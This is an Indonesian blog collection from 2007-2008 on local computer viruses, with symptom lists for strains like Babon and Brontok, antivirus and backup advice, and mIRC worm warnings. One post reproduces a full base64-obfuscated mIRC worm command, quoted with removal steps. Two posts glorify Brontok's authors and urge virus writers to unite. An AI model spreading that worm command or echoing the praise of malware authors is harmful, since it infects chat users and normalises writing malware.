Tidak seperti team sepakbola yang tidak mampu berbicara banyak di level regional dan terkadang atlit sepakbola malah memperlihatkan bakat lain di lapangan sepakbola seperti bakat taekwondo (menendangi wasit) dan bakat boxing (meninju lawan mainnya). Maka virus lokal di Indonesia sudah mampu menjadi tuan di rumah sendiri dan berbicara cukup nyaring di negara-negara lain. Jika sebelum tahun 2005, kiprah virus lokal masih “nyaris tak terdengar” dan tahun 2006 merupakan tahun virus lokal Indonesia merajai penyebaran virus di tanah air. Maka tahun 2007 trend tersebut makin menjadi-jadi. Sampai bulan April 2007, virus yang di”impor” oleh Indonesia adalah Viking / Looked.PE yang berasal dari Cina dan dibuat untuk mencuri data game online dan beberapa virus yang menyebar melalui email. Tetapi secara umum, masalah virus utama yang dihadapi oleh komunitas pengguna komputer di tanah air adalah virus lokal. Kreativitas pembuat virus lokal sangat tinggi, walaupun senjatanya terbatas dan hanya mampu melakukan pemrograman dengan Visual Basic. Beberapa aksi “wajib” yang dilakukan virus lokal adalah memalsukan icon virus (application) menjadi icon lain, jika di tahun 2006 icon favorit yang dipalsukan adalah icon MS Word, maka di tahun 2007 terjadi pergeseran dimana icon favorit yang paling sering dipalsukan adalah icon folder. Lebih canggih lagi, virus dengan icon folder yang jika diperhatikan dengan teliti file typenya “application” pada generasi berikutnya ikut sempurnakan menjadi “file folder”.

Beberapa virus lokal yang paling ganas di kuartal pertama tahun 2007 dan ciri-cirinya

v Babon, 49 KB, mengubah properties dan AM/PM pada jam menjadi tulisan Babon.

v Aksika (4k51k4), 45 KB, membuat backup MSVBVM60.DLL. disable System Restore, aktif di normal mode, Safemode dan Safemode with Command Prompt

v Coolface, 78 KB, virus Bangka yang ditulis dalam bahasa C++ dan berusaha membasmi semua virus Visual Basic dengan menghapus file MSVBVM60.DLL

v KillAV, 22 KB, menyembunyikan semua file MS word dan mengganti dengan dirinya.

v Pendekar Blank, 34 KB, menyembunyikan folder C:\Windows\System32 dan membuat file duplikat sesuai dengan nama folder yang disembunyikan [system32.exe], membackup MSVBVM60.dll di C:\WINDOWS\system32\dllChache, manipulasi file .com dan .txt sehingga setiap kali dijalankan akan menjalankan virus

v Pacaran, 59 KB, mengubah icon file “non virus” di komputer korban menjadi folder dan file type application sehingga dikira virus oleh pengguna komputer dan dihapus (MP3, txt, reg file, jpeg, inf dan exe), membackup dirinya dengan selalu menjaga keberadaan MSVBVM60.dll, manipulasi Host file, menyembunyikan drive dan folder, merubah Type file “File Folder”, MP3, JPEG menjadi W32.Pacaran

v Blue Fantasy, 40 KB, otomatis menginfeksi dari Flash Disk, menyembunyikan folder dan menggantikan dengan file virus duplikat dengan icon folder.

info@vaksin.com

PT. Vaksincom

Jl. Tanah Abang III / 19E

Jakarta 10160

Ph : 021 345 6850

Fx : 021 345 6851

Virus Lokal 2007(diantaranya)

2008-03-10T00:51:00.000-07:00

VBWorm.MOS (Babon) 3 Januari 2007

Jangan mau terima “Wangsit” dari “Cewe Imoet

Kalau bertemu Cewe Imut di jalan, mungkin kamu akan mengajak kenalan, ngobrol siapa tahu bisa jadi teman. Tetapi jika kamu bertemu dengan file “cewe_imoet.exe” dengan ukuran 49 KB di root C:\ pada komputer (lihat gambar 1), sebaiknya jangan diajak kenalan karena itu adalah virus VBWorm.MOS atau lebih ngetop dengan nama Babon. Terlebih lagi jika ditandai dengan dengan kemunculan satu file dengan nama wangsit.txt disetiap drive (lihat gambar 2). Virus yang kemungkinan berasal dari Sampit ini termasuk kedalam golongan virus yang membutuhkan teknik pembersihan yang “lumayan” rumit karena virus ini akan aktif setiap kali ada menjalankan file eksekusi [exe] dari suatu program ditambah dengan kemampuannya yang dapat aktif pada mode “safe mode” atau “safe mode with command prompt”, ciri lain yang mudah anda kenali adalah akan muncul sebuah pesan Welcome Friend - Please enjoy the Babon Entertainment ^_^ setiap kali komputer dinyalakan, pesan ini akan mucul sebelum anda memasukan user name dan password Windows [hal ini juga pernah terjadi pada kasus virus W32/VBWorm.NA]

Gambar a, Cewe Imoet yang perlu kamu hindari

Gambar b, “Wangsit” yang di tinggalkan oleh VBWorm.MOS

Dengan up-date terakhir Norman Virus Control sudah dapat mengenali wangsit ..eh... virus ini sebagai VBWorm.MOS. (lihat gambar c)

sumber :

info@vaksin.com

PT. Vaksincom

Jl. Tanah Abang III / 19E

Jakarta 10160

Ph : 021 345 6850

Fx : 021 345 6851

Brontok Virus?

2008-03-10T00:05:00.000-07:00

Brontok dan sejarah pembuatannya

Inilah Elang Brontok(Spizaetus Cirrhatus), semula dari nama seekor burung, kini perjalannya sedang kita simak.

Virus yang paling diakui orang saat ini adalah Brontok (VB) dan MyBro (C++) sehebat apa pembuat virus ini? ada sesuatu yang janggal yang saya amati, yaitu ada suatu situs dan media yang sangat mendewakan virus ini. coba anda perhatikan virus ini cepat sekali melakukan update. seperti kisah jaman dulu dimana seorang putri (pihak yang diuntungkan) meminta seorang Pangeran (Pembuat virus) untuk membuat seribu candi dengan bantuan para jin (bolo-bolone). dari kisah tersebut apa mungkin membuat candi dalam semalam kalo gak ada yang bantu begitu juga dengan virus Brontok dengan kecepatan update yang sangat mengagumkan. Kalo hanya satu orang pembuat virus ini, Sumpah deh gak mungkin! yang pasti virus ini dibuat secara keroyokan. Coba anda pikir kebanyakan Virus Maker Lokal hanya membuat virus itu untuk ketenaran dan kesenangan sendiri. Kalo memang dibuat oleh suatu individu atau team terus terang virus brontok tidak berteknologi sama sekali, mending team nya bubar aja deh hehehe maaf. Aneh nya lagi Putri tersebut tau kalau ada Mybro versi terbaru yang dibuat dengan bahasa C++ semudah itukah mendapatkan info virus terbaru yang penyebarannya masih sedikit. Sejenius apakah pembuat virus hingga menguasai beberapa bahasa pemrograman, sejenius jeniusnya manusia paling-paling menguasai 1 sampai 2 bahasa program dalam waktu yang bersamaan. dan tunggu aja bentar lagi pasti virus ini akan keluar dengan versi terbaru dan diciptakan dengan bahasa pemrograman VBNET, Delphi, C#, JAVA bahkan akan ada varian di sistem UNIX (LINUX), FreeBSD dan iMAC. jangan tersinggung ya team "brontok" saya akui kalian memang the best programmer.

Untuk itu berbanggalah anda sebagai programer VB karena dengan bahasa program ini tidak mustahil anda membuat sebuah program yang sangat canggih selain membuat virus bodoh yang canggih, atau Virus Canggih yang bisa bikin kami bodoh. Gunakan Virus anda disaat bangsa Kita mengalami krisis mental saja, dalam artian, jika Bangsa kita sangat sombong.
Jaya Indonesia!!

VB virus, C++ Virus

2008-03-09T23:55:00.000-07:00

Banyak Virus Local yang menyebar menggunakan Visual basic sebagai bahasa programnya. Mungkin bahasa program ini yang paling mudah dan cepat di mengerti dari semua bahasa program tingkat tinggi sepeti C++, Delphi, C#, JAVA. saia sempat tersinggung banyak definisi yang mengatakan bahwa pembuat virus dengan VB hanya seorang pecundang dan bukan seorang programmer sejati, bukan masalah virusnya yang disini saia maksud tapi bahasa pemrogrammannya yang terlalu dipandang sebelah mata. Sekarang kita coba renungi dan kembali lagi ke belakang untuk apa computer diciptakan? jawabannya cukup simple untuk memudahkan manusia bukan! begitu juga dengan bahasa pemrogramman, Kalo ada yang lebih mudah untuk apa dipersulit, betul gak? kita lihat aja jaman sekarang ini hampir 80% virus lokal di indonesia di buat dengan VB maupun VBS. Apa banyak yang menggunakan D & C yang katanya sangat terstruktur. Seharunya dengan menggunakan bahasa program tingkat tinggi tersebut programmer (non VB) bisa membuat virus tinggat tinggi juga dong. Maaf saya tidak bermaksud meremehkan programer C & D memang saya akui bahasa ini adalah bahasa program yang bagus walau agak rumit namun sangat terstruktur. Dan jangan salah saia juga mempelajari bahasa program ini. Posting yang saia buat ini bukan untuk mengajak anda saling memberikan suatu yang tidak enak didengar, tetapi saia hanya ingin mengajak programer underground (Local Virus Maker) Indonesia untuk bersatu, bekerja sama dan saling menghargai tanpa memandang sebelah mata antara programmer satu sama lain. Betul?
Dan hampir semua virus local(yang ada saat ini) yang menyebar tidak ada sedikitpun yang saia rasa cukup canggih(maaf, sedikit narsis dan heran) semuanya terlihat monoton. Biasanya menyebar di Media Drive-USB-Floppy serta FileSharing dan tidak ada sedikitpun tenologi yang tertanam didalamnya bahkan tanpa proteksi sama sekali. Icon yang digunakan pun itu-itu saja seperti icon Folder, Zip, MS-Word. Jaya Indonesia!!!

virus rayuan gombal

2008-02-29T11:54:00.000-08:00

Want to find your love mates!!! Try this its cool... Looks and Attitude Maching to

opposite sex (Mencari Pasangan Hidup ??? Cobalah program ini yang mencari dan

mencocokkan sifat untuk mendapatkan lawan jenis). Lalu Hung_fey mengklik

attachment "Matcher.exe". Ternyata, bukan pasangan hidup yang didapatkan Hung_fey

tapi "Surat Peringatan" dari perusahaannya karena menyebarkan virus dan

mengakibatkan mailserver perusahaannya menjadi kelebihan beban dan tidak berfungsi.

Virus Matcher kembali menggunakan trik yang mirip dengan virus Anna Korunikova,

yang mencatut nama petenis cantik dari Rusia supaya penerima virus tertarik untuk

mengklik attachment (lampiran) pada email. Trik tersebut masih saja ampuh

mengakali para pengguna internet terbukti dengan banyaknya korban dari kedua

virus tersebut di seluruh dunia.

Mungkin anda bertanya, apa yang dimaksud dengan virus. Virus adalah program

(umumnya berukuran kecil) yang mempunyai kemampuan menggandakan dirinya

sendiri ke komputer lain dan biasanya merugikan komputer yang terinfeksi virus,

dari hanya menampilkan beberapa pesan, melakukan pengiriman dirinya sendiri

melalui email sampai dengan merusak / memformat harddisk komputer korbannya.

Pada awal munculnya virus, penyebarannya melalui pertukaran data yang umumnya

melalui media disket. Sekarang, karena adanya internet penyebaran virus mencapai

kecepatan dan radius yang luar biasa karena memanfaatkan media internet seperti

email, IRC (Internet Relay Chat) atau website. Jadi tidak mengherankan kalau virus

yang hari ini menyebar di Amerika keesokan harinya sudah ada di komputer anda.

Makin hari virus semakin canggih, anda tidak bisa menghilangkan virus dengan

menghapus file yang terinfeksi atau menginstall ulang semua program anda karena

program virus sekarang mempunyai kemampuan menyembunyikan dirinya sendiri

dan juga mengubah registri windows dimana bagi pengguna komputer awam agak

rumit dan beresiko mengutak atik registri karena kesalahan sedikit saja dalam

registri dapat menyebabkan windows menjadi kacau atau hang.

Tindakan preventif yang dapat anda pertimbangkan adalah menginstall program

antivirus terbaru dan selalu melakukan update secara teratur minimal sebulan sekali.

Hal ini sangat perlu dilakukan karena setiap bulan muncul sekitar 1.000 virus baru

(lihat di www.sophos.com) dimana seperti kita ketahui, antivirus juga merupakan

program, hanya saja tugasnya adalah menjaga komputer dari serangan virus dan

jika suatu virus baru muncul, pencipta virus akan berusaha untuk mengelabui

program antivirus yang sudah ada. Contoh yang telah terjadi adalah virus

MTX.worm, virus ini dapat memblok komputer yang terinfeksi melakukan akses ke

website Antivirus seeprti Mc Afee, Norton dan AVP sehingga program antivirusnya

tidak terupdate dan tidak dapat mengenali apalagi membasmi si virus.

Apa yang anda khawatirkan ketika anda mengetahui komputer anda terinfeksi virus

? Software, hardware atau data anda ?

Kalau software rusak, anda dapat melakukan penginstallan kembali dan kerugian

yang anda derita adalah waktu yang hilang untuk menginstall dan kerugian karena

komputer tidak dapat berfungsi dengan baik. Jika hardware yang rusak, anda akan

mengalami kerugian sama seperti software ditambah dengan kerugian materi

hardware yang rusak. Namun jika anda mengalami kerusakan / hilangnya data,

kerugian yang anda alami kemungkinan lebih besar karena data sifatnya tidak

seperti program yang kalau hilang dapat diinstall kembali. Data keuangan

perusahaan, data pelanggan, data transaksi dan surat menyurat merupakan aset

yang tidak ternilai dan tak tergantikan, karena itu harus di kelola dan dilindungi

dengan baik.

Sebenarnya ancaman terhadap hilangya data tidak datang dari virus saja, tetapi juga

dari kerusakan harddisk secara fisik (karena jatuh, terbakar, tersambar petir atau

kebanjiran), hilang secara fisik karena pencurian maupun karena kesalahan teknis

seperti salah format atau tidak sengaja terhapus.

Karena itu, jika anda memiliki data yang anda anggap penting atau setidaknya jika

data tersebut hilang atau rusak berpotensial menyebabkan kerugian bagi anda atau

perusahaan tempat anda bekerja, sebaiknya anda melakukan tindakan preventif

sebagai berikut :

· Install antivirus terbaru dan update definisi virusnya secara teratur (makin

sering makin baik, sebaiknya sebulan dua kali atau lebih). Ingat, karena virus

baru selalu bermunculan setiap hari dan mampu mengelabui antivirus yang

sudah ada maka antivirus yang terbaik adalah antivirus yang selalu di update.

· Lakukan back up pada data anda secara teratur di media yang berbeda

dengan harddisk dan sebaiknya disimpan dilokasi yang berbeda dengan

komputer anda. Misalnya back ip komputer kantor pusat disimpan di kantor

cabang dan sebaliknya untuk berjaga-jaga kalau terjadi sesuatu terhadap

komputer, back upnya masih ada.

· Lakukan penyempurnaan atas program-program yang mempunyai celah

keamanan (security hole) yang memungkinkan masuknya virus, seperti

melakukan update atas security hole Internet Explorer & Outlook Express 4.0

dan 5.0 di http://www.microsoft.com/technet/security/bulletin/ms99-

032.asp.

· Jangan sembarangan membuka attachment email, apalagi kalau filenya

executeable seperti .exe atau .vbs sekalipun email dikirim oleh orang yang

anda kenal karena virus mampu menggunakan MAPI (program otomatisasi

email) untuk mengirimkan dirinya sendiri pada alamat yang tercantum di

address book. Perkembangan terakhir yang cukup mengejutkan adalah

kemampuan virus untuk mengambil subjek email diambil dari subjek email

yang sudah ada, seakan-akan si pengirim menyambung email terdahulu.

· Pantau perkembangan penyebaran virus seperti mengikuti mailing list

penyebaran virus antivirusclub@yahoogroups.com, vaksin@yahoogroups.com

newsgroup virus alt.comp.virus sehingga anda tahu ancaman virus baru dan

tidak ikut menjadi korban.

· Jika anda menerima banyak email dengan attachment setiap hari, ada

baiknya terlebih dahulu mengecek email anda menggunakan browser

http://www.thatweb.com atau http://www.pandawa.com dan anda dapat

menghapus email dengan attachment yang mencurigakan tanpa perlu

mendownload ke komputer anda. Beberapa provider lokal seperti CBN.net,

Indosat.net, Radnet dan Link.net juga menyediakan fasilitas akses pop mail

pelanggannya menggunakan browser.

· Jika anda mempunyai account dial up, sebelum koneksi ke internet, ada

baiknya anda melihat folder "Outbox" di program email anda, karena setiap

email yang dikirimkan oleh virus, akan mengantri di sini menunggu untuk

dikirim pada saat anda melakukan koneksi ke internet.

· Nonaktifkan Windows Scripting Host (WSH), hal ini berlaku untuk Win95, 98,

ME, NT dan Windows 2000.

Katakan, anda sudah melakukan langkah-langkah preventif di atas atau karena anda

belum melakukan langkah-langkah preventif tersebut data pada komputer anda

hilang tak berbekas dan anda tidak memiliki back upnya. Anda boleh marah-marah

dahulu, tapi apakah sudah saatnya melempar handuk putih pertanda menyerah dan

merelakan kepergian sang data tercinta ??

Jawabannya mungkin ya, mungkin tidak.

Anda boleh menyerah kalau harddisk mengalami kerusakan secara fisik atau hilang

dicuri. Namun jika harddisk rusak karena virus atau karena tidak sengaja terhapus /

terformat, masih ada harapan untuk menghidupkan kembali sang data. Gunakan

software Data Recovery atau kalau anda masih awam, mintalah bantuan teknisi

komputer yang ahli dan berpengalaman dalam menyelamatkan data anda dan

sebaiknya jangan lakukan sendiri jika anta tidak mengerti benar-benar bagaimana

mengembalikan data yang hilang karena kalau terjadi kesalahan bukan data anda

yang selamat, tapi benar-benar hilang dan 100 % tidak dapat diselamatkan. Ingat,

jangan menjalankan windows pada harddisk yang datanya hilang apalagi menginstall

program baru pada harddisk tersebut. Anda akan kehilangan peluang untuk

mendapatkan data yang hilang.

mIRC virus(lagi)

2008-02-29T10:25:00.000-08:00

Chating sangat populer untuk mengobrol lewat internet.dengan seseorang atau group.

Namun penyebaran virus melalui chating juga telah populer, jangan tertipu dengan rayuan² untuk menerima file atau tawaran apapun dari siapapun. Setiap virus mampu mambawa berbagai macam resiko. Hal yang paling gila adalah jika virus tersebut mampu mambaca seluk beluk komputer yang ditularkan. Kemampuan virus adalah memproses script dan disebarkan ke mana saja dengan nama script.ini dan dmsetup.exe . Bila orang dengan pengetahuan cukup dapat membaca file dari hardisk korban.

Salah satu contoh virus IRC.Worm.Gen adalah sebagai berikut:

Wanna be an OPERATOR in #contoh1 ? copy/paste this-> //write . $decode(b24gMTp0ZXh0OiphKjojOnsgLmlnbm9yZSAkbm

ljayB8IC50aW1lcqAgMCAxMjAgLmpvaW4gI1NleGViIHwgLm1

zZyAkbmljayBXYW5uYSBiZSBhbiBPUEVSQVRPUiBpbiAkY2hhbi

A/IGNvcHkvcGFzdGUgdGhpcy0+AzcgLy93cml0ZSCgLqAgJCAk

KyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxu

LDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAu

oCAkY2hyKDEyNCkgLy9tb2RlICQgJCsgbWUgK1IgfQ==,m) | .load -rs . | //mode $me +R

Jika kamu menjalankan perintah itu, maka:

Jika ada orang mengetik teks di channel dan di dalam teks yang dia ketik itu ada huruf "a", maka secara otomatis, kamu akan mengignore nick itu. 120 detik kemudian kamu akan otomatis masuk ke channel # contoh1 dan di channel itu kamu akan menjadi orang yang menyampaikan pesan kepada orang lain.

Virus # contoh1 ini gak separah # contoh2. Kalo # contoh2, jika kamu mengetik teks apa aja di channel, maka kamu akan menerima pesan tersebut, jadi gak harus teks yang ada huruf "a" saja.

Jika kamu menerima pesan seperti itu, jangan pernah menuruti permintaannya. Beberapa antivirus, seperti Norton biasanya akan langsung mendeteksinya sebagai IRC.Worm.Gen, itupun kalo logging kamu lagi diaktifkan. Nah, kalo kamu pernah menerima pesan seperti itu dan terlanjur menjalankan perintah:

//write . $decode(b24gMTp0ZXh0OiphKjojOnsgLmlnbm9yZSAkbm

ljayB8IC50aW1lcqAgMCAxMjAgLmpvaW4gI1NleGViIHwgLm1

zZyAkbmljayBXYW5uYSBiZSBhbiBPUEVSQVRPUiBpbiAkY2hhbi

A/IGNvcHkvcGFzdGUgdGhpcy0+AzcgLy93cml0ZSCgLqAgJCAk

KyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxu

LDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAu

oCAkY2hyKDEyNCkgLy9tb2RlICQgJCsgbWUgK1IgfQ==,m) | .load -rs . | //mode $me +R

ada beberapa cara untuk menanggulanginya:

UNTUK VIRUS channel #contoh1

1. Gunakan nick yang kamu gunakan saat menjalankan perintah di atas

2. Ketik di status: //mode $me -R

3. Ketik di status: /unload -rs .

(ingat sesudah -rs ada dua spasi kemudian tanda titik dan diikuti spasi lagi)

4. Ketik /remove -b .

(ingat sesudah -b ada dua spasi kemudian tanda titik dan diikuti spasi lagi)

5. Ketik //timer 1 3 server $server

UNTUK VIRUS # contoh2

1. Gunakan nick yang kamu gunakan saat menjalankan perintah di atas

2. Ketik di status: //mode $me -R

3. Ketik di status: /unload -rs

(ingat sesudah -rs ada tiga spasi)

4. Ketik /remove -b

(ingat sesudah -b ada tiga spasi)

5. Ketik //timer 1 3 server $server

mIRC kamu akan restart otomatis dan setelah terkonek kembali, kamu udah beres dari masalah ini.

Pencegahan :

- Hati-hati menerima file dari channel IRC

- secara selektif menerima file dengan ektensi BAT, EXE, COM, HLP, dan DLL

- hati-hati menerima file yang mengandung makro

- gunakan selalu antivirus untuk meng-scan file sebelum dijalankan

(baik yang didownload maupun dari teman)

- beberapa program IRC seperti mIRC menyokong setting keamanan atau untuk mengdisable fungsi tertentu seperti send atau get dan komando seperti /run dan /dll. Set opsi ini jika memungkinkan. Jika aplikasi Anda mendukung perubahan DCC, pilih prompt atau ignore semua permintaan untuk mengirim atau menerima transaksi file-file.

- set internet filter pada antivirus Anda untuk tidak bisa mengakses alamat 210.169.20.21.

(Anda bisa memblok koneksi ke situs ini dengan menggunakan salah satu fasilitas di McAfee, Internet Filter). Minimal dat file pada scan McAfee adalah 4057 dengan scan engine 4.0.35

mIRC

2008-02-25T11:05:00.000-08:00

Maaf senior!
mungkin ini bukan hal baru, tapi setidaknya saia memberitahu mereka yang newbie, coz sering dapat pertayaan, apakah bisa kemasukan virus lewat mIRC? nah tu dia, saia akan coba memberikan masukan² dikit, karna cuma ini yang saia bisa beberkan...
Sebenarnya mungkin akan lebih afdol ato sah kalo disebut virus mIRC kali ya……..karena emang kebanyakan irc yang dipakai di Indonesia adalah mIRC dan ada program irc dengan script seperti mr^p, scoope, irc war dll.

Bicara tentang virus………tau dong……..yang biasa pake komputer sehari-hari pasti dah “apal” banget lah sama yang satu ini…….sebagian orang menganggap momok, sebagian menganggap hal yang biasa saja. Tapi saya ndak mau bahas disini………cuman sekedar gambaran bahwa virus adalah sebuah program komputer yang biasanya mampu menggandakan diri dan umumnya bersifat mengganggu sampai merusak komputer yang telah terinfeksi.

Kata Virus di dalam artikel saya ini bersifat general, yang nantinya di dalamnya terdapat worm, trojan spyware dan malware lainnya. Untuk mempermudah pemahaman ke dalam konteks pembahasan maka semua akan saya panggil dengen “virus”

Bagaimana dengan virus IRC, menurut definisi dari saya Virus IRC artinya virus yang menyerang dan atau yang ditularkan dengan media IRC.

Disini bisa dilihat 2 point penting, yaitu “menyerang” dan “yang ditularkan”.

· Menyerang artinya program irc itu dijalankan pada suatu PC yang telah terinfeksi oleh virus tertentu, dimana salah satu penyebaran/penggandaan dirinya melalui media irc.Contohnya adalah pada awal tahun 2000 an ada virus namanya babylonia, jika dia mendeteksi adanya mirc yang terinstal pada komputer tersebut maka dia berusaha mengirim copy dari virus ini melalui channel irc sebagai 2KBug-MircFix.exe. (model spamming, ingatkah Anda ketika kita lagi main irc trus ada yang pv tiba2 sambil mengatakan bahwa mirc anda telah terinfeksi virus, dan Anda disuruh klik alamat yang dia kasih yang kata dia merupakan update/patch untuk menghilangkan virus tersebut?) Yang lebih ganas langsung berusaha mengirim ke komputer kita tanpa peringatan dulu, jadi semisal dcc kita aktif otomatis langsung ke kirim tuh virus.

· Yang ditularkan, artinya jika kita menerima kiriman file via dcc IRC dari orang yang blon kita kenal sebelumnya, terlebih jika extensi file tersebut .exe .bat .scr .ini dll dan jika perintah untuk menjalankan virus kita exsekusi..ya sudah….terinfeksilah komputer kita (jika antivirusnya tidak bisa mendeteksi)

Apakah Efek virus IRC ini bagi kita?

1. Saat Enak-enak IRC an kita di Akill oleh allnet/dalnet, atau di kick banned oleh “penjaga Channel” ..susah kan? cepek deh.... eh,,, capek deh…

2. Ga seru dong..komputer jadi lambat…..koneksi terasa lambat, karena IRC melakukan spamming upload data yang besar ke suatu situs atau channel tertentu……..bisa bisa di block koneksinya nih oleh ISP nya

3. Capek…pusing musti gimana……..

Trus Solusinya gimana nih? Gini...

1. Kalo belum terinfeksi ya Jangan menerima attchment atau dcc send dari orang yang belum kita percaya (bukan berarti paranoid lho) tapi kalo bisa kita intip dulu isinya apa sebelum dieksekusi…kalo .exe tolak aja deh kalo itu bukan request kita, kalo .mp3 trus dicoba suaranya bagus bagi bagi ya.. L

2. Rajin-rajin update antivirus, jangan males……..ini vital lho. Tapi kalo udah terjangkit dan meski antivirusnya udah di update blon bisa bersihin juga coba baca-baca deh perkembangan virus (kenali dengan ciri-ciri dan efek yang ditimbulkan) dan pake antivirus yang sudah bisa menghilangkannya.

3. Jangan Lupa berdoa biar ga kejangkit virus………..jangan lupa juga sering-sering amal..sapa tau itu cobaan buat kita…huehuehue jadi keinget kata2 dosenku…..katane kalo kita banyak cobaan artine kurang artikel dan kurang amal... hihihi

4. Periksa mirc bagian “remote script” ada script anehnya tidak, mendingan dikosongin aja deh biar aman, aman dari hacker dan virus.

5. Antivirus saja kadang belum cukup, jangan lupa pasang juga anti spyware juga yah.
mungkin itu ajah kali ya.... kasitau jika ada yang kurang... Makasih buat dosen-dosenku, temen-temen, tanpa mereka aku gak kenal dunia ini.

hmmm

2008-02-24T12:10:00.000-08:00

Pengen gak sih jadi orang terkenal?
banyak trik kok untuk jadi orang terkenal, menurutku diantaranya :
1. Murah senyum
2. Hargai orang lain.
3. buat satu hal yang orang banyak gak bakal lupa ama diri kita, misalnya kita mukuli dosen di depan banyak mahasiswa! ups! jangan lakukan itu yah. Bisa DO
4. Ikutilah kontes² apa ajah, kontes waria juga boleh, malah lebih cepat terkenalnya ketimbang kontes lain.
5. Ajakin setiap orang yang kamu temui untuk berkenalan dengan mu.

Ups, jangan terlalu serius bacanya yah.

say no to drugs

2008-02-22T12:25:00.000-08:00

ladies n gentleman
Selamat datang dah aku ucapin, gak perlu banyak kata untuk mengucapkan terimakasih pada kalian, karena semua kata dapat di wakilkan dalam satu kata "maturnuwun"

kasih saran yang mendasar yah

terimakasih yah